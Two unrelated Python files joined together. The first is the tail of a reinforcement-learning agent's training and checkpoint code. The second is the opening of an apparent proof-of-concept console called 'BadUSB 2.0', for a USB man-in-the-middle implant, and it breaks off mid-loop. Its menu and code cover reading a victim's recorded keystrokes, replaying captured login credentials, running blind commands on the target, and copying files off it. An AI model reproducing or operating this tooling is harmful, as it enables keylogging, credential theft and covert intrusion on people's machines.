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q_loss = sum(F.mse_loss(q, targets) for q in qs) / len(qs) |
self.q_optimizer.zero_grad(set_to_none=True) |
q_loss.backward() |
self.q_optimizer.step() |
# Update target Q network |
update_exponential_moving_average(self.q_target, self.qf, self.beta) |
# Update policy |
weight = torch.exp(self.alpha * adv) |
weight = torch.clamp_max(weight, EXP_ADV_MAX).detach() |
policy_out = self.policy(observations) |
bc_losses = -policy_out.log_prob(actions) |
policy_loss = torch.mean(weight * bc_losses) |
self.policy_optimizer.zero_grad(set_to_none=True) |
policy_loss.backward() |
self.policy_optimizer.step() |
# self.policy_lr_schedule.step() |
wandb.log({"p_loss": policy_loss}, step=self.step) |
# wandb |
if (self.step+1) % 10000 == 0: |
wandb.log({"v_loss": v_loss, "v_value": v.mean(), "q_loss": q_loss, "q_value": qs[0].mean()}, step=self.step) |
self.step += 1 |
def save(self, filename): |
torch.save(self.policy.state_dict(), filename + "-policy_network") |
print(f"***save models to {filename}***") |
def load(self, filename): |
self.policy.load_state_dict(torch.load(filename + "-policy_network", map_location=torch.device('cpu'))) |
print(f"***load the RvS policy model from {filename}***") |
# <FILESEP> |
#!/usr/bin/env python |
# BadUSB 2.0 by DK 2016 (@withdk) |
import os |
import sys |
from shutil import copyfile |
# Eye candy!!!!! :))) |
print(''' |
****** ** ** ** ******** ****** **** **** |
/*////** /**/** /** **////// /*////** */// * *///** |
/* /** ****** /**/** /**/** /* /** / /* /* */* |
/****** //////** ******/** /**/*********/****** *** /* * /* |
/*//// ** ******* **///**/** /**////////**/*//// ** *// /** /* |
/* /** **////** /** /**/** /** /**/* /** * **/* /* |
/******* //********//******//******* ******** /******* /******/**/ **** |
/////// //////// ////// /////// //////// /////// ////// // //// |
- BadUSB 2.0 USB MITM POC |
''') |
# Ascii art compliments of http://patorjk.com/software/taag/ |
shell='$' |
if os.geteuid()==0: |
shell='#' |
keystrokefile='/tmp/badusb2-recorded' |
replayfile='/tmp/replay' |
modifyfile='/tmp/modify' |
startrunfile='/tmp/startrun' |
anyonehomefile='/tmp/capslock' |
blindcmdfile='/tmp/cmd' |
shellfile='/tmp/cmd2' |
help=(''' |
BadUSB 2.0 Options Menu |
help - get help menu. |
keystrokes - retrieve user keystrokes. |
anyonehome - toggle capslock. |
replay - replay last user login. |
modify - toggle user annoyance mode. Every keycode sent gets decremented. |
startrun - execute a command via Windows-Key/Run. |
cmd - execute a blind command (no output). |
getfile - copy a file from target. |
putfile - copy a file to target. |
exit - close program. |
''') |
opt=True |
while opt: |
raw=raw_input('BadUSB 2' + shell + ' ') |
if(raw=='help'): |
print help |
elif(raw=='keystrokes'): |
print 'Getting keystrokes...' |
for line in (open(keystrokefile).readlines()): |
print line.rstrip() |
elif(raw=='anyonehome'): |
print 'Anyone home!??' |
open(anyonehomefile,'a').close() |
elif(raw=='replay'): |
print 'Replaying login credentials...' |
open(replayfile,'a').close() |
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